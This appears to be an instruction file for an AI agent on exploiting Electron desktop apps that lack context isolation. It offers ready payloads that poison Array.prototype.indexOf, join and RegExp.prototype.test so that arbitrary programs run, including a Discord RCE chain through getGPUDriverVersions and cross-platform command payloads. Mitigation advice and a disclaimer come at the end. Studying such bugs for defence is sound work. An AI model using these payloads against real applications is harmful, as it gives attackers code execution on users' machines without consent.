Electron ContextIsolation RCE via Preload Code
This skill helps you identify and exploit Electron applications that lack proper context isolation between the renderer and main processes. When contextIsolation is disabled or preload scripts are improperly configured, attackers can achieve Remote Code Execution (RCE) through JavaScript prototype pollution.
When to Use This Skill
Use this skill when:
- Pentesting Electron desktop applications
- Analyzing Electron app security configurations
- Investigating preload script vulnerabilities
- Testing for context isolation bypasses
- Reviewing Electron app code for security issues
- Any security assessment involving Electron-based desktop apps
Understanding the Vulnerability
Electron apps use a preload script to expose Node.js APIs to the renderer process. When contextIsolation is disabled, the renderer can access Node.js objects directly, allowing attackers to:
- Override built-in JavaScript methods to bypass security checks
- Poison prototype methods to redirect execution flow
- Execute arbitrary system commands through exposed APIs
Exploit Technique 1: Array.prototype.indexOf Poisoning
The Vulnerability
Many Electron apps check if a URL protocol is safe before opening it:
const SAFE_PROTOCOLS = ['http:', 'https:'];
if (SAFE_PROTOCOLS.indexOf(url.protocol) === -1) {
// Block unsafe protocols
}
The Exploit
Override Array.prototype.indexOf to always return a non-negative value, bypassing the check:
<script>
Array.prototype.indexOf = function() {
return 1337; // Always return non-negative
}
</script>
<a href="file:///C:/Windows/System32/calc.exe">CLICK</a>
How It Works
- The app checks
SAFE_PROTOCOLS.indexOf('file:') - Your poisoned
indexOfreturns1337instead of-1 - The app thinks
file:is a safe protocol - The file:// URL opens, executing the binary
Variations
// Alternative: return 0 to make it look like first element
Array.prototype.indexOf = function() { return 0; }
// Or return any positive number
Array.prototype.indexOf = function() { return 1; }
Exploit Technique 2: Built-in Method Overriding
The Vulnerability
Some Electron apps expose native modules that execute system commands. By overriding JavaScript built-in methods, you can manipulate the execution path.
Discord RCE Example
Discord exposed DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions() which runs nvidia-smi.exe.
The Exploit
// Override RegExp.prototype.test to bypass path validation
RegExp.prototype.test = function() {
return false;
};
// Override Array.prototype.join to inject command
Array.prototype.join = function() {
return "calc";
};
// Trigger the vulnerable function
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions();
How It Works
- The app calls
execa(nvidiaSmiPath, [])to run nvidia-smi execainternally usesArray.prototype.jointo build the command- Your poisoned
joinreturns "calc" instead of the path execaexecutescalcinstead ofnvidia-smi
Target Methods to Override
| Method | Purpose | Example |
|---|---|---|
Array.prototype.join |
Command construction | return "calc" |
RegExp.prototype.test |
Path validation | return false |
String.prototype.split |
Path parsing | return ["calc"] |
Array.prototype.indexOf |
Protocol checks | return 0 |
Object.prototype.hasOwnProperty |
Property checks | return true |
Testing Checklist
1. Check for contextIsolation
Look for these patterns in the Electron app:
// VULNERABLE - contextIsolation disabled
webPreferences: {
contextIsolation: false
}
// VULNERABLE - not specified (defaults to false in older Electron)
webPreferences: {
nodeIntegration: true
}
// SAFE - contextIsolation enabled
webPreferences: {
contextIsolation: true,
nodeIntegration: false
}
2. Inspect Preload Scripts
Open DevTools and check:
// Check if Node.js is accessible
console.log(typeof require);
console.log(typeof process);
// Check for exposed APIs
console.log(window.DiscordNative);
console.log(window.electron);
console.log(window.require);
3. Test for Prototype Pollution
// Test if you can override built-ins
Array.prototype.testOverride = function() { return "pwned"; };
const arr = [1, 2, 3];
console.log(arr.testOverride()); // "pwned" = vulnerable
4. Identify Exposed Native Modules
// Look for exposed modules
console.log(Object.keys(window));
console.log(Object.getOwnPropertyNames(window));
// Check for requireModule patterns
if (window.DiscordNative) {
console.log(Object.keys(window.DiscordNative));
}
Payload Templates
Basic RCE Payload
<script>
Array.prototype.indexOf = function() { return 1337; };
</script>
<a href="file:///C:/Windows/System32/calc.exe">Execute</a>
Advanced Method Override
// Override multiple methods for reliability
Array.prototype.join = function() { return "calc"; };
RegExp.prototype.test = function() { return false; };
String.prototype.split = function() { return ["calc"]; };
// Trigger the vulnerable code
// (depends on the specific app's exposed APIs)
Cross-Platform Payloads
// Windows
const payload = "calc";
// macOS
const payload = "/usr/bin/osascript -e 'tell application \"System Events\" to display dialog \"Pwned\"'";
// Linux
const payload = "xdg-open file:///etc/passwd";
Mitigation Recommendations
For Developers
Enable contextIsolation
webPreferences: { contextIsolation: true, nodeIntegration: false }Use sandbox
webPreferences: { sandbox: true }Avoid exposing Node.js APIs
// Don't do this: contextBridge.exposeInMainWorld('api', { require: require }); // Do this instead: contextBridge.exposeInMainWorld('api', { safeFunction: () => ipcRenderer.invoke('safe-channel') });Validate all inputs
// Don't trust user input in paths const allowedProtocols = ['http:', 'https:']; const isSafe = allowedProtocols.includes(url.protocol);
References
- Electron Security Guidelines
- Masato Kinugawa - Abusing the Lack of Context Isolation
- Discord Desktop RCE
- node-cross-spawn parse.js
Legal Disclaimer
Only use these techniques on systems you own or have explicit permission to test. Unauthorized exploitation of Electron applications is illegal and unethical.